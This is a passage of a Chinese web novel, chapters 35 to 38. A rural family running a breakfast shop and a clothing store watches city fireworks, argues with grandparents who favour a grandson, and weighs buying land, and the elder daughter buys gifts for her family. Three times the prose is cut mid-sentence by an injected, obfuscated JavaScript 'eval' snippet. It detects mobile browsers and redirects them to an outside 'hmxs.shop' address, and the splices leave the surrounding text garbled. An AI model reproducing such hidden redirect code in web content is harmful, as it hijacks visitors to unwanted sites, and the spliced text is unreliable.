傍晚时分,秀水和伍爱娜终于关了店门。两人走进堂屋,不说话,也不笑,各自木呆呆地坐在椅子上喝茶。 刘兰英进来看见,忍不住好笑,说:“才一天功夫,怎么就突然变得不爱说话了?说嘛,说两句嘛。” 没人理她,甚至连多看她一眼的力气都没有。刘兰英便笑呵呵地转身去早餐店帮忙了。 那边也是人人疲劳不堪、面有菜色。到了傍晚,连下午现蒸出来的包子也都卖完了,粉面茶叶蛋一点没剩。喻庆山关了店门,大家各找地方瘫坐着,一起享受着这难得的清静。 “哎呀妈呀,生意太好了也受不了。”良久,刘瑞英才感叹。 “我现在脑袋嗡嗡的,一闭眼就是在算账。”秀竹面无表情坐着,声音透着机械感:“素面一块,荦的两块。素豆腐包一块钱四个,荦的五毛……” 蒋士芳也说:“从来没洗过那么多碗,坐那儿洗了一天,手都泡胀了。” 大家都是腿脚酸软,只有刘兰英尚有余力,于是她独自去厨房做了晚餐,端到堂屋里,大家围坐在一起,各自埋头扒饭。只有身为主人的喻庆山夫妇偶尔说两句话,打破饭桌上的沉默。 这时伍为民带着父母和岳父母也都到了,大家歇了会儿,这才又有了精神,忙朝楼上搬椅子。因为二楼的阳台朝着马路,是欣赏烟花的绝佳位置。刘瑞英还把买来没功夫吃的瓜籽和江米条都端了上去。 阳台上坐了满满一排人,边磕瓜籽边聊天。就见楼下马路上也陆续来了许多人,黑压压地挤在一起,都在等着放烟花。喻庆华等人油然生出优越感来,她们坐得舒舒服服的,茶水零食就在手边,而楼下的人只能干站着等,——所以三弟这楼房建得真是地方啊。 八点钟,天终于黑透了。客运站那边突然咻地腾起几束火花,啪啪巨响着,在半空中炸开几朵大金花。楼上楼下的人齐声发出惊呼,都朝那边仰头望。就见咻咻声不绝,一朵朵姹紫嫣红的烟花,在漆黑的夜空次第绽开,映亮了半座县城。 “真漂亮啊!”喻庆华仰头看着,语气中含着心疼:“这得花多少钱哪!” “好热闹!”伍婆婆也凑在李润芝耳边喊:“亲家母,是不是比过年还热闹?” 冉冉升腾的烟花映照在玻璃窗上,窗外的人满脸兴奋,窗里的秀水却兴致缺缺。她洗完澡,舒舒服服躺到了床上,现在别说烟花,世界大战都不能阻止她睡觉。 床里侧,秀竹已经睡熟,却被放烟花的响声惊醒,她口齿不清地嘀咕着“总共一块五”,就又沉沉睡去。秀水躺在她旁边,一闭眼就仿佛身处服装店,听到嗡嗡的说话声,这个让她找上衣,那个喊她找裤子。她就在这嘈杂的声音中,不管不顾地陷入了黑沉的睡眠。 烟花持续了半小时才结束。楼下的人慢慢散去,楼上的人也各自洗澡,黑沉一觉。第二天早上,喻庆山头一回没有磨豆浆,而是准备休息一天。就连喻庆华想回家,也被刘瑞英死活拉住了。 “难不成把你们叫来,就为了给我们干活儿的?”刘瑞英说:“今天我们特地关一天门,好好玩一玩!都不准走!给我留下来玩一天再说!” 喻庆华等人只得留下来。喻庆山赶早去菜场买肉买菜,打开院门时,就见昨天还热热闹闹的马路上,今天格外冷清。行人稀稀拉拉,纸屑在风中飘荡。路两边的店铺,也跟他们家一样,都没开门。 刘瑞英杀了只鸡,又去刘兰英家,接大家过来吃午饭。回来时,就见蒋士芳和喻庆海正在搭手烫鸡拨毛,忙又夺过来,让他们洗手去堂屋喝茶聊天。 “我来我来!”她风风火火地把鸡拿去厨房宰杀,说:“你们去陪大姐说说话!” 堂屋里几个人边喝茶边聊天。蒋士芳记得前段时间过来玩时,这边还没这么齐整。想不到仅仅几个月,就又变了模样。水泥马路笔直宽敞,两边都是新盖的小洋楼。好多人家也跟喻庆山家一样,上边住人,下面开店。她昨天粗略看了看,卖什么的都有。 虽是农村,跟城里又有啥区别?甚至比老城区更漂亮整齐。蒋士芳越想越羡慕,便说:“庆山那会儿还跟我们商量过,早知道,咱们也该在这边买个宅基地的!” 喻庆海虽然羡慕弟弟现在的日子,却还是老观念,觉得没那个必要,“买了干啥呀?这边又没有田给你种。再说秀明两口子常年在外头跑,每年回来了也有地方住,白花那些钱!” “怎么白花钱了?”蒋士芳想起昨天早餐店的生意,艳羡得不行,说:“秀明以后住这边,跟着他叔他婶学做生意不行吗?或者卖点吃食,或者卖衣服,都是条挣钱的路子,总不能再让他们回家种地!” “你又来!”喻庆海忙看了眼大姐,皱眉小声道:“秀明和玉贞不是跟着姑爹干活么?” 在喻庆海看来,自家孩子们跟着李贵忠出门,一年能挣好几千,已经比村里大多数人都强了。做人要知足,这山望着那山高,到哪里是个尽头? “弟妹说得有道理,”喻庆华却说:“秀明跟着他姑爹在外面跑也就算了,玉贞以后总不能老在外头,要是怀孕了呢?小两口结婚快一年,也该有了……” 蒋士芳忙说:“可不是这话!” 喻庆海抽着烟,被大姐和老婆说活了心思。正好喻庆山买菜回来,几个人忙去厨房帮忙切肉择菜。蒋士芳又提了提想买地基的事,喻庆山巴不得哥嫂一家搬过来,忙说:“等会儿为民来了,咱们问问他。哥,嫂子这话没错,你先买个地基,以后不想盖房,转手卖了也行。就我旁边那块地基,没我这个大,年初有人两千买的,转手就卖了三千块钱。” 喻庆海大为吃惊,心里这才有些后悔。若当初跟着买一块,现在怕不是一千块钱轻松到手了。 蒋士芳感叹说:“到底还是你们两口子有决心,说搬就搬了。搬过来多好啊,生意这么红火!” “倒也不是总这么红火。撤县建市,一辈子也就赶上这么一回,”刘瑞英赶忙分辩,又道:“年初秀水说要搬家的时候,我心里也七上八下的。如今住习惯了,我才晓得,树挪死人挪活。做点小生意还是比种地挣钱快。况且你们要是担心家里的地,也跟我们一样,只把孩子的户口迁过来也就罢了……” 提到户口,喻庆海却又犹豫了。他们家秀明是个男人,把户口迁走,以后家里可就没地了。不像三弟家是两个闺女,无论户口落在哪儿,以后嫁人了总归是要随丈夫迁走的。 他举棋不定,又去和喻庆华商量。蒋士芳却是下了决心,说:“咱们手头有些余钱,买一块地基也使得。以后这里的地说不定还要涨呢。就算不涨价,这边热闹起来了,想卖也不怕出不了手……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852305|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 几个人正说得热闹,伍为民带着老人们到了,大家忙把他叫进厨房。伍为民听了原委,却为难道:“好地段的早就卖完了。村里面倒是有几块宅基地,现在也卖一两千了。你们若有意,等会儿我带你们看看去就是了。” 喻庆海听说地段差、价格高,心思又浮动了。蒋士芳却道:“麻烦大兄弟等会儿帮忙带路,我们先看看,看了再决定。” 几人说定了,喻庆山便忙忙地整治出两桌丰盛的席面。鸡鸭鱼肉地摆满了桌子。刚做好饭,刘文强也带着儿子来了。大方桌上挤挤挨挨地坐着大人们,厨房的小桌则由秀水带着弟弟妹妹们坐。 大桌上的人都在聊小庙村的变化,唯有李润芝一见到刘子康,满腔心思都在他身上。她把大孙子拉过去挨着自己坐,好给他挟菜,刘子康却是听到厨房那边热闹得很,急忙跑过去,自己拿了筷子和碗,挤坐到秀水身边。 “你过来干嘛?”秀水道:“你奶奶不是让你去大桌吃吗?” 刘子康憨憨地笑,说:“菜都是一样的。” 伍爱娜便道:“坐我们这桌,谁挟到鸡腿就是谁的,可没人给你留!” 刘子康小声说:“我也不喜欢吃鸡腿呀……” “噫!哪有人不爱吃鸡腿的,真是岂有此理!”伍爱今忙讨好道:“弟弟,挟到了给我!” 伍爱娜翻她弟一个白眼,说:“轮得到你吗?我也想吃!” 正嚷嚷着,李润芝过来了。原来她生怕大孙子吃不好,特意挟了半碗肉菜过来,搛到刘子康碗里,还说:“秀水,你往那边坐坐,看把康康挤着了。” 秀水已经有一年多时间没见过这位外婆了,这时看她满脸讨好孙子的模样,过往的记忆像沉在水底的渣滓,在心头泛起。看她啰嗦个没完,便问刘子康:“挤着你了吗?” “不挤!”刘子康赶紧说。 “他说不挤!”秀水抬头,语气强硬地说:“您吃饭去吧,别在这儿管闲事了。” 李润芝的脸板了板,到底看在秀水能挣钱的份上,没有出声斥责,只是碎碎地吩咐大家,“你弟弟还小,你们让着他些……” 秀水冷着脸没理她,秀竹和伍爱娜也都撇嘴。等老太婆走了,伍爱娜才道:“真烦人,早知道就让刘子康去那桌吃饭了!” 伍爱今却有了个主意,说:“康康,等下再让外婆给你挟鸡腿来。咱们一人一个!” “识不识数啊你!”秀竹拿筷子敲他的手:“拢共杀了一只鸡,到哪儿给你找那么多腿!” 伍爱今哀叹:“哎,为什么一只鸡只有两条腿……” 刘子康讨好地把碗里的肉菜都分给了姐姐哥哥,那条鸡腿最后也被上贡给了秀水。秀水举着鸡腿,看着虎视耽耽的几人说:“为了避免无谓的争执,我就笑纳了?” 秀竹忙说:“姐,我也可以为你分忧!” “姐,考验咱俩感情的时候到了!”伍爱娜也喊。 伍爱今知道自己毫无胜算,索性退而求其次,“骨头给我嗦两口!我不嫌弃你们的口水!” 刘子康看着他们笑,就见几人轮流分了一口鸡腿,到他碗里时,鸡腿骨上还有一点肉。那肉吃着比平时香。无论他们怎么揶揄他,他都更愿意呆在小桌这边。他不在乎吃什么,就是喜欢这种热闹又自在的氛围。 36. 第 36 章 等吃完了中饭,大家闲坐片刻,伍为民便带着喻家姐弟几人去看地基,刘文强也跟着去了。刘瑞英和刘兰英忙着洗碗抹桌,几个孩子也在厨房帮忙。 李润芝见大孙子竟然在扫地,又开始叫唤了。“康康,快过来哦!”她慢声慢气地道:“别在厨房晃来晃去,小心绊着人!我大孙到奶奶这边来,我剥瓜籽给你吃!” “妈!”刘兰英也听不下去了,说:“你就让他呆着吧,哪里就累着他了?” 李润芝不高兴了,小声尖刻地说:“才多大的孩子,就使唤他做这个做那个的……” 秀水没忍住,回嘴道:“谁使唤他了?他自己愿意干点家务活儿,有什么不好?你们老刘家又没有皇位要继承,怎么就非得让孩子养成个好吃懒做的习惯?” 秀竹和伍爱娜扑哧笑出声来,李润芝被秀水突如其来的一段话砸得晕头转向,万万想不到平时那个闷嘴葫芦似的外孙女,现在这么牙尖嘴利了。她沉下脸,细声细气地说:“哎哟,我说两句就使不得了?瑞英你看看,你女儿怎么对老人说话的,以后出嫁了可怎么了得……” 伍爱娜早就看不惯她外公外婆了,这时有姐姐带头,也虚情假意跟着道:“哎呀外婆,您就别操心我姐了!您心里不是只有宝贝大孙子吗?” “娜娜,就你话多!”刘兰英忙喝住女儿,“好了,都少说两句。子康,跟你奶奶玩去,这儿用不着你!” 李润芝成功牵走孙子,却是越想越气,到厨房门口了又说:“哎哟我康康可怜哦,别人的姐姐都知道心疼兄弟,有什么好东西只会想着兄弟。只有你,几个姐姐跟老虎一样……” 秀水本来都准备息事宁人了,听了这话,把抹布朝桌上一甩,说:“对,我们跟老虎一样。那下回可千万别送来让竹子辅导作业了,小心我们吃了他!以后您看谁稀罕您大孙,就送到谁家去!” “行了!那是你外婆!”刘瑞英喝住秀水,却也扭头跟母亲生了气,“妈,您说这些干什么?他几个姐姐谁不心疼他了?放暑假带着他做作业,带着他锻炼身体,还不够好吗?非得说几句话寒孩子的心吗?” “哎呀哎呀,我年纪大了,念叨几句都遭人嫌弃了。”李润芝又开始装糊涂,“女儿都这样,有了孩子就忘了娘!我说什么了,她就把弟弟往外赶?这是拿他当仇人哪,连竹子给康康辅导作业她都要拦……” “我为什么往外赶你不清楚吗?”秀水打断她,高声道:“本来大家挺喜欢子康的,你非得在中间挑拨离间。这里也没外人,一样都是你的孙子辈,你非要分出个三六九等来!弄得大家都烦刘子康了,你心里才舒服吗?” 秀竹也忙小声道:“俗话说得好,兄弟不和,多是老人无德!” 李润芝看几个小姑娘对付她一个,急得满口乱喊起来,刘瑞英和刘兰英赶紧两边劝着。厨房动静大了,连堂屋里的刘其山和伍爹爹两口子也被惊动了。 刘其山极要面子,看见老婆子和外孙女当着外人的面吵架,顿时心头火起,怒喝一声:“吵吵什么?吵吵什么?” 他在家中积威甚重,一开口,其他人都闭了嘴。刘兰英忙给伍爱娜使眼色,想让她把姊妹们都带到楼上去,就听刘其山又说:“长辈面前大呼小叫,这是谁教的规矩?” 别人怕他,秀水可不怕,也没打算惯着他,接口道:“谁教的规矩?那自然是我父母教的规矩。您不就是想说我妈没把我教好吗?那自然也是因为她的父母没规矩,打小就没教好她!” 刘其山没想到竟有人冒犯自己的虎威,气得手都哆嗦了,指着她骂:“混帐东西!你还绕着弯儿骂老人,我刘家可没你这种晚辈!” “我谢谢您了,我姓喻,又不姓刘!”秀水冷笑道:“说得跟自家是什么名门望族似的!” “刘瑞英!”刘其山自恃身份,不便直接对小辈动手,便骂大女儿:“你就看着她骂你的老子吗?” 伍老爹和伍婆婆不等他把话说完,赶紧拦在中间劝,“亲家,我们进屋去。孩子们说话,高一句低一句也是有的,让她父母慢慢教导她,何必跟小辈生气?您大人有大量,别生气了,走,我们进去坐会儿……” 那边刘瑞英也急得出了汗,把秀水拉进厨房,嚷道:“你要死!连你外公都骂上了,你想干什么啊小祖宗?” “我想干什么?先问问他们想干什么啊?”秀水翻个白眼,“本来饭吃得好好的,非得跑过来浪声浪气说些屁话。怎么?被怼了就不开心了?那不是他们自找的吗?” “就是!”秀竹帮着姐姐说话:“外婆不过来,哪有这些事?” “他们是长辈!”刘兰英也劝,“你们就让着些儿,随他说两句算了。哪能跟长辈吵架?人家知道了要笑话的!” “凭什么?”伍爱娜却很不服气,“长辈做得不对,还不让人说了?” “就是!我这双眼睛看得很清楚,”伍爱今伸出两指自插双目,说:“刘子康都不愿意过去,非得拉他走!我大姐没做错什么!” “哎呀我的天哪,一个个都反了!”刘兰英暴躁道:“从现在开始,都给老娘闭嘴,不准再说了!” 那边堂屋里,伍老爹把亲家公拉进堂屋,劝了些诸如“一辈人管一辈人,孩子不懂事,让他们的爹妈管去”“我们能帮就帮,干不动了就吃点喝点,何苦操这些闲心”之类的话。刘其山被秀水下了面子,偏又被伍老爹架得高高的,满肚子火气不好发作,碰巧看到李润芝带刘子康进来,便朝老婆发火:“你也是!一天天地叨逼叨逼!非得惹人嫌了才闭嘴!丢人现眼的东西!” 李润芝素日是被丈夫骂惯的,这时屁都不敢放,拉着刘子康坐到堂屋角落里,悄无声息地剥瓜籽给孙子吃。伍婆婆等人忙又劝了几句,看孩子坐在旁边跟只小鹌鹑似的,便抓了几把零食,说:“康康,去找今子玩会儿去,来再装点江米条。” 刘子康如遇大赦,连忙攥着满把的零食,撒欢儿跑了。 堂屋里几个人看着电视,间或聊两句天,好容易等到喻庆山等人回来,大家热烈讨论着刚看的宅基地,气氛这才又活泛起来了。喻庆山等人心思不在老爷子身上,倒是没注意他全程生闷气,也是因为他本就脸黑,生气也看不出来。这让刘其山更郁闷了。 蒋士芳一心想买地,喻庆海却又因为地段、价格等原因迟迟无法作出决定。几人坐在堂屋说了半晌也没个结果。喻庆华却是再也呆不住了,想到家里猪鸡牛等牲畜,心里急煎煎的,想尽快赶回家去。刘瑞英也知道农村活多,不便再挽留,忙提前做了晚饭,大家吃完,各自告辞。 喻庆山却又赶着炸了白糖糯米糕,临走时每家送了一大袋。大家乱纷纷在大门口说了些客套话,便各自离去。刘其山是坐儿子摩托车走的,虽然吃了饭、喝了酒、拎了糕,心里到底还是有气,临走前便朝送出来的女儿女婿说:“女儿要管一管了,这个脾气,以后怎么说婆家?” 喻庆山完全是懵的,刘瑞英忙接上话,说:“知道了知道了,文强路上开慢点,把爹娘送进屋了再走。” 刘文强急着回家,也不管老爷子还有没有话,径直开着摩托跑了。刘其山接下来的话便没来得及出口,只得朝儿子发火:“开这么快!赶着去投胎哪?” 坐他身后的李润芝到这时才自以为占到理,轻声抱怨:“哪有这么说自己孩子的……” 那边喻庆山看着岳父母走远了,才回头问刘瑞英发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857103|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么事。刘瑞英便小声把下午的事情说了。喻庆山半晌不作声,——他也觉得岳母不对在先,但他不能说。刘瑞英的父母是只准她自己说的。别人,尤其是喻庆山,但凡多一句嘴,是要挨骂的。 等客人走光了,家里也收拾干净了,刘瑞英才把两个女儿叫到厨房,板着脸教训道:“你外婆那个人,平时是有点不清白,但你们今天也很过份!当着外人面,怎么好吵自己的长辈?” 秀水垂眼看桌子,哼了一声说:“妈,别拿辈份压人。你的父母养了你,又没养我!你跟他们有感情,我跟他们可没什么感情!” “你!”刘瑞英气急败坏,想了想道:“你外公外婆怎么没养你?小时候还照顾过你们姐俩呢。你俩可好,转头就忘了!” “别提这事,提起来我就来气!”秀水直视她道:“你们那年要去山里砍柴,就把我跟竹子送过去让你妈照顾两天。结果你知道吗?你妈天天问我怎么还不回家。我那时才四五岁,可我已经记事了!我永远都记得她是怎么赶我走的!” 刘瑞英从没听秀水说过这话,一时怔住了,不能置信地道:“真的?你别编谎话骗我!你外婆那人是嘴碎,可再怎么样也不会跟几岁的孩子撒气吧……” 话是这么说,但她已经有点相信了。因为她记起来了,有段时间大女儿总是不愿意跟她回娘家,哪怕去吃席也不愿意。她眼圈红了起来,说:“你以前怎么没跟我说?” “跟你说了干嘛?”秀竹却在旁边插嘴,“你找外公外婆借钱没借到,都在外面哭,不也不肯告诉我们嘛。” 刘瑞英立刻谴责地看向喻庆山,喻庆山分辩道:“我没说。不是我说的。” “我说的,”秀水道:“我告诉竹子的。怎么了?你又要骂我?” 刘瑞英长叹一声,心里又是酸楚,又有点说不出的感动。她在娘家受了委屈,没告诉任何人。只有她女儿看到了,还默默替她记在心里。 “谁敢骂你哦!”她悻悻地说,“你现在不得了了,都成当家人了,我哪里说得动你!” “这我确实要说你们几句!”喻庆山忙站在老婆这边,说:“再怎么样,也不能当面跟长辈顶嘴。秀水,特别是你,这脾气以后得改改。” 看大家都没说话,他又赶紧岔开话题,说:“对了,昨天的账还没清点呢,竹子,去把昨天装钱的袋子拿来,数数咱们挣了多少钱。” 刘瑞英顿时精神一振,也没心思计较娘家那些烂事了。秀竹跑去把收银的小包拿过来,鼓鼓囊囊地装满了零钞。几个人坐在小桌前,一五一十地数了半天。短短一天时间,竟卖出两千多块,刨去成本,怎么也赚了一千多。 刘瑞英脸上有了笑容,心里盘算着,再有几笔这样的收入,加上之前挣的钱,年底就能把家里的债还得差不多。没有了债,她的日子将会多么轻松啊! “你呢?服装店昨天挣多少钱?”刘瑞英转头问秀水,秀水朝她笑,说:“还没数呢,数了再告诉你。” 刘瑞英瞪她一眼,知道女儿没说实话。自从开了服装店,秀水的财务就跟他们分开了,平时很少提及自己赚了多少钱。反正女儿也不是随手乱花的性格,刘瑞英也就随着她了。 晚上,秀水和秀竹上楼后,秀竹却是轻声问姐姐:“姐,你到底挣了多少钱?” “就这么告诉你吧,”秀水也悄悄道:“我现在手里快有一万块钱了。” “哇!”秀竹的眼睛瞪得溜圆,看看左右,用气声道:“姐,你太厉害了吧!也太能干了吧……” 秀水洋洋得意地享受着妹子的马屁,心想,怎么办?喻秀水,你才十八岁就成万元户了,确实,你也太厉害了吧,也太能干了吧! 37. 第 37 章 服装店里的衣服卖得精光,首要之急,自然是去江市进货。伍爱娜忙着上学,秀水便没叫她,自己抽空跑了一趟。 这一次,她在江市住了一晚。先是到上次那个机电市场转悠了一圈,买了一台和面机,寄存到长途客运站附近,然后才去了服装批发市场。 虽然现在天气还暖和,秀水却只批发了少量秋装,大部分都是冬装、毛衣、秋衣等。除此之外,她还按照伍爱娜的要求,买了几种不同款式的鞋子。东西太多,最后林林总总雇了三个挑夫,才运到了车站。 跑了这么多地方,把她累得半死。秀水坐上车,刚歇了口气,旁边就上来一个女人,看到她很惊喜地喊了起来。原来是第一次去江市时同过车的,名叫朱莎,也是个卖服装的个体户老板。 一起抓过劫匪的,情份自然不一样。两人跟老熟人似的聊了会儿天,朱莎才神神秘秘地道:“你知道么,咱们市轻工局要盖服装大市场了!” “真的?在什么地方?”秀水忙打听。 怀安县——现在叫怀安市了——没有集中卖服装的街区,反正市区很小,无论卖什么都挤在那几条街道上。但据朱莎讲,市轻工局准备修建的服装大市场,选址在市区东南角,现在已经征了很大一块地,主体建筑是一幢七层楼的精品大厦,靠里的位置再修几溜平房,加起来有好几百个门面。 可以想象,市场完工后,必将成为市民购置服装的首选之地。秀水忙问朱莎,要买门面的话,需要提前去哪儿登记。 朱莎既然主动提起这事,自是有渠道的。果然,她告诉秀水,现在还没开始对外发售,但她有亲戚在轻工局上班,到时一有消息,她就即刻告诉秀水。 “反正你先把钱准备好,”朱莎悄声说:“到时咱俩门面要是买在一起,相互间也有个照应。” 朱莎自然盘算好了,跟着秀水坐车,不怕小偷小摸;跟着她开店,也不怕流氓地痞。当然她自己也不弱就是了。但凡能在县城开服装店的人,都有两把刷子。可若是强强联手,岂不是更好? 秀水自然感激不尽,两人约着下次还要一起进货,这才在颠簸中各自合眼休息。草草睡了一觉,车便到了怀安市新修的长途客运站。朱莎的丈夫早就在外面等着了,两人便在车站道别。 秀水等了片刻,喻庆山和刘瑞英才忙忙地骑着三轮车过来了。原来他们白天回红英村秋收,也才刚刚到家。几个人用三轮车转运了好几次,才把东西全都搬回了家。 厨房里,刘瑞英忙着给秀水下面条,喻庆山则蹲在和面机前,摸着那铁疙瘩,稀罕得不得了。刘瑞英端着面条过去,心疼地说:“揉个面有什么累的?又不像磨豆浆!这也值得花钱专门买个机器回来?现在生意又不好!” “现在生意是比较清闲,可再有几个月就要过年了,”秀水接过面条,边吃边说:“到时来咱家订做包子馒头的人多了,有个和面机不也轻松点吗?” 这话倒是真的,去年腊月没日没夜揉面磨豆浆的日子,想起来就让人两眼发黑。喻庆山摸着新机器,欣慰道:“这钱花得值。有了两台机器,省事省力多了。” 刘瑞英也没再说话,蹲在旁边和喻庆山一起摸机器,感慨道:“好吧好吧,反正姑娘见识比我们强,干什么都有道理。” 两口子迫不及待地试用了一次。不得不说,有了这个和面机,简直不要太省心。把面粉、老面酵子和水配比好,朝大桶里一放,只需要按下开关,机器就呜呜地转动起来,几分钟就揉好一桶面了。 面团放到盆里发酵一晚,明早再放进桶里揉一揉,就可以做包子了。刘瑞英喜笑颜开,说:“有了这个东西,过年咱们想蒸馒头蒸馒头,想做包子就做包子!” “那你刚才不是还嫌闺女乱花钱吗?”喻庆山笑。 “啧,你这个人!怎么还挑拨离间呢。”刘瑞英瞪他一眼,顿了顿补充:“别跟着我老娘学!” 第二天正好是周末,大清早伍爱娜就过来了。一进门就喊姐,“快快快!我们的鞋子买了没有?在哪里?” 这次她托秀水给自己和好几个女同学批了几双时下流行的皮面旅游鞋。两人去了店里,搭手从一个大蛇皮袋里把鞋子倒出来。伍爱娜急急忙忙地先找到一双合适的,上脚试了一试,白色的旅游鞋,穿着又时尚又舒服。 “啊啊啊——”她情不自禁尖叫起来,“姐,就是这种!杂志上的明星就穿的这种鞋!太好看了,真好看……” 她对着镜子左看右看,满意得不行。又走出去喊刘瑞英,“姨妈,看我的新鞋!漂不漂亮?” 喻庆山回家秋收去了,刘瑞英一个人在早餐店里忙碌,抽空看了一眼,笑道:“真漂亮!你们年轻女孩穿什么都漂亮!” 伍爱娜越发心花怒放,回到店里,把新鞋换下来,得意洋洋道:“这鞋配裙子配裤子都好看。明天我把鞋带去学校,她们还不得疯了!” 两人按照伍爱娜记下的鞋码,把带到学校的旅游鞋全找出来,又搭手熨烫冬装。伍爱娜想到自己不能亲自去服装批发市场,十分委屈,“我早就说不读书了,我妈偏要我读!烦人!姐,下次我一定要跟你去!请假都要去!” “书肯定要读的,无论如何都给我把毕业证拿到手。”秀水正色道:“等毕了业,你要是能做通你爸妈的思想工作,就跟我一起干。到时咱俩合伙。” “真的?”伍爱娜惊喜道:“那我肯定能做通!说好了啊,到时候咱俩一起干!” 两人在店里忙了一上午,才把秋装和冬装陆续整理出来。秀水见早餐店生意闲下来了,又喊刘瑞英来试新鞋。她给父母都买了鞋,刘瑞英的是一双带矮跟的皮鞋。 刘瑞英过来看见了,自然心疼钱,几乎要生气,说:“你这孩子!我天天在家做包子,穿这么好的鞋给谁看?” “批发价,便宜!”秀水忙解释:“这鞋能管好几年呢,留着你走亲戚时穿。” 刘瑞英摸着新鞋,爱不释手。她确实没有一双像样的鞋子。整个夏天穿的都是秀水买的那双塑料凉鞋,入秋以后才换成自己手工缝制的布鞋。以前农闲时节,还有功夫纳鞋底,现在做生意,从早忙到晚,闲下来还得回去收割庄稼,越发没了空闲。仅有的两双布鞋也都烂了洞。 在秀水和伍爱娜的鼓励下,她便小心翼翼地试了一下。皮鞋穿着略微有点紧,可黑色的皮面锃亮的,连她那双脚都显得高贵了起来。怪不得娜娜穿上新鞋就尖叫,她要不是老了,她也想尖叫两声。 “大小刚合适,”伍爱娜蹲着看,建议道:“姨妈你多穿两次,皮鞋是越穿越舒服的。” 多穿两次?她一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864534|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都舍不得穿!她把鞋子小心翼翼收起来,这么好的鞋,平时干活怎么舍得穿它?总要等过年时,或走亲戚时再拿出来啊。到时穿出去,别人谁不羡慕啊。 “现在就穿上,这本来就是秋天穿的,”秀水劝她,“等冬天我再给你们买靴子。” “算了算了!”刘瑞英听不得“买”这个字眼,说:“我不要!我有一双皮鞋就行了!好多人活了一辈子,都没穿过皮鞋呢!” 伍爱娜把带给同学的鞋子都装好,欢欢喜喜回家去了。她刚走,秀竹也放学回家了。刘瑞英忙叫她进来,给她显摆自己的新鞋,秀竹自然也是赞不绝口。这时秀水却又拿出一双白色旅游鞋让她试穿,秀竹穿在脚上,跑过去给她妈看。 “妈,我也有新鞋子!”她笑得非常开心。 刘瑞英抬头看着小女儿,个子跟她姐一样,瘦瘦高高的,穿着新新的白衬衣、石青色牛仔裤,再配上白色旅游鞋,哪里还有农村小土妞的样子?明明是城市里的青春美少女嘛。 “真好看!我竹子也越来越好看了!”她满脸笑容地说。 秀竹试完新鞋,又跑去和她姐嘀咕去了。姐妹两个感情好,在一起总有说不完的话。过了一会儿,在厨房干活的刘瑞英又听到一声尖叫。 她抬起了头,因为这声音是她家向来文静的秀竹的! 秀竹为啥尖叫呢?因为她姐给她买了个随身听! 所谓“随身听”,就是巴掌大小的收录机,可以播放磁带,还能收听广播电台。因为小巧方便,从而拥有了“随身听”这个更通俗的名称。这种走在时代前列的尖货,放眼全怀安一中都没有几个人拥有。而她喻秀竹,竟然有了一个崭新的随身听! 她小心翼翼地从纸盒子里取出收录机,黑色的塑料壳充满了科技感。她姐还给她买了高中英语的全套听力磁带,中间还夹杂着一盘港台歌曲集锦。秀竹欢喜得发疯,插进一盘磁带,试听了一会儿,又跑出去拿给母亲看。 “妈,姐姐给我买的!” 刘瑞英还从来没见过这种玩意儿,一看就价格不菲,忍不住皱起眉头问:“这是啥?” “随身听,听英语用的!”秀竹答。 刘瑞英皱起的眉头重新舒展了,只要是学习上用得着的东西,就不算乱花钱。她忙就着女儿的手狠看了两眼,说:“可得爱惜着用,高中三年总要管过去的。” 秀竹心想,这不废话吗?好几百块钱的东西,这她得用一辈子啊! 吃完午饭,喻秀竹就开开心心地拿着随身听去了楼上,试听起了新磁带。崭新的机子、崭新的磁带,效果就是好。她们老师那台大录音机,磁头都糊脏了,每次放听力时,总有些哧拉哧拉的杂音,有时甚至还会把磁带都搅出来,哪像她姐买的磁带,听着这么清晰! 当天晚上返校时,喻秀竹把随身听也带上了。其实她有点舍不得拿去学校,怕人多手杂搞坏了。而且宿舍里前段时间还发生过盗窃案,要是这么宝贵的东西丢了,她不得哭死?但她姐说了,买这个东西就是为了用的,平时多听听,磨磨耳朵,英语听力才跟得上去。放在家里她一周才休息半天,有什么机会用啊。 然后喻秀竹去了一晚上,第二天上午就哭着回家了。她从学校走回来的,在店门前看到她姐,喊了一声,眼泪就哗哗地落了下来。 38. 第 38 章 喻秀竹从昨天到现在的心路历程,堪称跌宕起伏。 头天晚上,她带着崭新的随身听和一袋包子,开开心心去了学校。同寝室的舍友们分吃包子的时候,还都很兴奋。看到她拿出随身听,有两个舍友还满脸艳羡地过来问她在哪儿买的,花了多少钱。当然秀竹很快就把东西收了起来,不是她小气,这么宝贝的东西,换其他人肯定也不愿意给别人摸来摸去的,那汗手都把锃亮的外壳摸花了。 然而,仅仅过了一晚上,大家看她的眼神就充满了警惕。 